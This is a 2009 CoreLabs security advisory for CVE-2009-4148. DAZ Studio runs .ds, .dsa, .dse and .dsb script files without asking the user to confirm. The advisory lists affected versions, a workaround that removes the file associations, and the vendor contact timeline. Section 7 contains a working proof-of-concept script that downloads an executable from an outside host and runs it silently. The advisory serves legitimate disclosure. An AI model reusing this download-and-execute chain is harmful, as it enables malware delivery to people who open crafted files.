192 lines
No EOL
6.2 KiB
Text
192 lines
No EOL
6.2 KiB
Text
-----BEGIN PGP SIGNED MESSAGE-----
|
|
Hash: SHA1
|
|
|
|
Core Security Technologies - CoreLabs Advisory
|
|
http://www.coresecurity.com/corelabs/
|
|
|
|
DAZ Studio Arbitrary Command Execution
|
|
|
|
|
|
|
|
1. *Advisory Information*
|
|
|
|
Title: DAZ Studio Arbitrary Command Execution
|
|
Advisory Id: CORE-2009-0911
|
|
Advisory URL:
|
|
http://www.coresecurity.com/content/dazstudio-scripting-injection
|
|
Date published: 2009-12-02
|
|
Date of last update: 2009-12-01
|
|
Vendors contacted: DAZ
|
|
Release mode: User release
|
|
|
|
|
|
|
|
2. *Vulnerability Information*
|
|
|
|
Class: Insufficient UI Warning of Dangerous Operations [CWE-357]
|
|
Impact: Code execution
|
|
Remotely Exploitable: Yes
|
|
Locally Exploitable: No
|
|
Bugtraq ID: 37176
|
|
CVE Name: CVE-2009-4148
|
|
|
|
|
|
|
|
3. *Vulnerability Description*
|
|
|
|
DAZ Studio [2] is a 3D figure illustration/animation application
|
|
released by DAZ 3D Inc. DAZ Studio can be accessed via a scripting
|
|
language which allows for quite a bit of diversity in tool creation. DAZ
|
|
Studio does not ask for any confirmation from the user prior to
|
|
executing a scripting file with any of the following extensions: .ds,
|
|
.dsa, .dse, .dsb. An attacker could abuse the scripting interface by
|
|
enticing an unsuspecting user to open a malicious scripting file, thus
|
|
obtaining remote code execution.
|
|
|
|
|
|
4. *Vulnerable packages*
|
|
|
|
. DAZ Studio 2.3.3.161
|
|
. DAZ Studio 2.3.3.163
|
|
. DAZ Studio 3.0.1.135
|
|
. Older versions are probably affected too, but they were not checked.
|
|
|
|
|
|
5. *Vendor Information, Solutions and Workarounds*
|
|
|
|
The vendor did not provide fixes or workaround information.
|
|
|
|
To prevent the accidental execution of malicious scripting files you can
|
|
disable the default file association of the dangerous file extensions in
|
|
the Windows Explorer. The following KB article from Microsoft describe
|
|
how to deassociate a file extension.
|
|
http://support.microsoft.com/kb/307859
|
|
|
|
|
|
6. *Credits*
|
|
|
|
This vulnerability was discovered and researched by Diego Juarez from
|
|
Core Security Technologies during Bugweek 2009 [1].
|
|
|
|
|
|
7. *Technical Description / Proof of Concept Code*
|
|
|
|
The following Proof of Concept .ds file demonstrates remote code
|
|
execution by downloading and executing putty in the context of DAZ Studio.
|
|
|
|
/-----
|
|
// DAZ Studio PoC
|
|
var oFile = new DzFile("d:\\test.js");
|
|
oFile.open(2);
|
|
oFile.write("s=WScript.CreateObject(\'WScript.Shell\');o=WScript.CreateObject(\'ADODB.Stream\');e=s.Environment(\'Process\');u=\'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe\';b=e.Item(\'TEMP\')+\'\\\\agent.exe\';try{x=new
|
|
ActiveXObject(\'Microsoft.XMLHTTP\');}catch(e){x=new
|
|
ActiveXObject(\'MSXML2.ServerXMLHTTP\');}if(!x)exit(0);x.open(\'GET\',u,0);x.send(null);d=x.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(d);o.SaveToFile(b,2);s.Run(b,0);\r\n");
|
|
oFile.close()
|
|
|
|
var oProcess = new DzProcess(["wscript", "d:\\test.js"]);
|
|
oProcess.start();
|
|
|
|
- -----/
|
|
|
|
|
|
|
|
8. *Report Timeline*
|
|
|
|
. 2009-11-06:
|
|
Core Security Technologies completes a support form trying to reach a
|
|
security contact from DAZ.
|
|
|
|
. 2009-11-06:
|
|
Core receives an email saying that Core contact email was not recognised
|
|
as a registered email.
|
|
|
|
. 2009-11-06:
|
|
Core completes a registration form to be able to contact the support team.
|
|
|
|
. 2009-11-13:
|
|
Since DAZ support team didn't respond to any mail, Core contacts CERT
|
|
trying to obtain a valid security contact at DAZ.
|
|
|
|
. 2009-11-16:
|
|
CERT acknowledges the comunication, and Core reschedules the advisory to
|
|
November 30th, 2009 based on CERT recommendations.
|
|
|
|
. 2009-11-18:
|
|
CERT communicates that the vendor doesn't seem familiar with
|
|
vulnerability reporting/disclosure, and request additional information
|
|
about the vulnerability.
|
|
|
|
. 2009-11-18:
|
|
CERT contacted DAZ four times between 11/16 and 11/30.
|
|
|
|
. 2009-11-19:
|
|
Core replies that the issue is a script injection vulnerability.
|
|
|
|
. 2009-11-30:
|
|
DAZ did not wish to provide contact information.
|
|
|
|
. 2009-12-03:
|
|
The advisory CORE-2009-0911 is published.
|
|
|
|
|
|
|
|
9. *References*
|
|
|
|
[1] The author participated in Core Bugweek 2009 as member of the team
|
|
"Gimbal Lock N Load".
|
|
[2] DAZ Studio: http://www.daz3d.com/i/software/daz_studio3?_m=d
|
|
|
|
|
|
10. *About CoreLabs*
|
|
|
|
CoreLabs, the research center of Core Security Technologies, is charged
|
|
with anticipating the future needs and requirements for information
|
|
security technologies. We conduct our research in several important
|
|
areas of computer security including system vulnerabilities, cyber
|
|
attack planning and simulation, source code auditing, and cryptography.
|
|
Our results include problem formalization, identification of
|
|
vulnerabilities, novel solutions and prototypes for new technologies.
|
|
CoreLabs regularly publishes security advisories, technical papers,
|
|
project information and shared software tools for public use at:
|
|
http://www.coresecurity.com/corelabs.
|
|
|
|
|
|
11. *About Core Security Technologies*
|
|
|
|
Core Security Technologies develops strategic solutions that help
|
|
security-conscious organizations worldwide develop and maintain a
|
|
proactive process for securing their networks. The company's flagship
|
|
product, CORE IMPACT, is the most comprehensive product for performing
|
|
enterprise security assurance testing. CORE IMPACT evaluates network,
|
|
endpoint and end-user vulnerabilities and identifies what resources are
|
|
exposed. It enables organizations to determine if current security
|
|
investments are detecting and preventing attacks. Core Security
|
|
Technologies augments its leading technology solution with world-class
|
|
security consulting services, including penetration testing and software
|
|
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
|
|
Security Technologies can be reached at 617-399-6980 or on the Web at
|
|
http://www.coresecurity.com.
|
|
|
|
|
|
12. *Disclaimer*
|
|
|
|
The contents of this advisory are copyright (c) 2009 Core Security
|
|
Technologies and (c) 2009 CoreLabs, and may be distributed freely
|
|
provided that no fee is charged for this distribution and proper credit
|
|
is given.
|
|
|
|
|
|
13. *PGP/GPG Keys*
|
|
|
|
This advisory has been signed with the GPG key of Core Security
|
|
Technologies advisories team, which is available for download at
|
|
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
|
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: GnuPG v2.0.12 (MingW32)
|
|
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
|
|
|
|
iEYEARECAAYFAksYGpcACgkQyNibggitWa3lrwCeKY5DAHCr9PaZ1Dk6FqMcrbUx
|
|
mR8AoK6zHf4Ns/xzngH5kT+f4MDwbUpF
|
|
=l/I+
|
|
-----END PGP SIGNATURE----- |